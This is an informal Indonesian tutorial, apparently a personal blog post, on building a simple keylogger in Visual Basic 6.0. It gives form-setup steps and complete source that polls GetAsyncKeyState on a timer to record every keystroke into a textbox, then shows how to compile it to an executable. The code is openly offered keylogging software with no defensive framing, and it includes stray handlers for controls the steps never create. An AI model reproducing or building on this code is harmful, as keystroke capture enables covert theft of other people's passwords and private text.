Tutorial Membuat Keylogger (Visual Basic 6.0)

Halo" :D
pagi pagi uda nulis ini sorry ya singkat aja tutorial nya mau berangkat sekola , maklum masi bocah ane :D .
tancap gas langsung aja yuk

Siapin bahannya dulu

-Visual Basic 6.0  Belum punya ? DOWNLOAD DI SINI

Tutorial:

1.buat 4 commandbutton & 1 timer (timer tidak usah di ubah sama sekali)
Command1,Command2,Command3,Command4
terus Captionnya di ganti jadi seperti di bawah ini :
Command1 = Start
Command2 = Stop
Command3 = Clear
Command4 = Exit
inget ganti namanya di "Caption" jgn di Name

Tambah 1 timer dengan interval 100
jangan lupa massukan text box untuk melihat tulisan yang di catat keyboard

terus ntar di form 1 klik kanan view code terus paste code2 di bawah...



Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer




Private Sub Command1_Click()
Timer1.Enabled = True
End Sub


Private Sub Command2_Click()
Timer1.Enabled = False
End Sub


Private Sub Command3_Click()
Text1.Text = ""
End Sub


Private Sub Command4_Click()
End
End Sub


Private Sub Form_Load()
Timer1.Interval = 1
End Sub


Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End
End Sub


Private Sub Text2_Change()
End
End Sub


Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)


If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub


Contoh:

Jika sudah jadi Tinggal Jadiin .exe
Klik file truz Make A file Project.exe

Tralaalala !!

jadi dah Keylogger Sederhana Buatan Mu

Sekian terimakasih :D , sampai jumpa di coretan ane berikutnya :P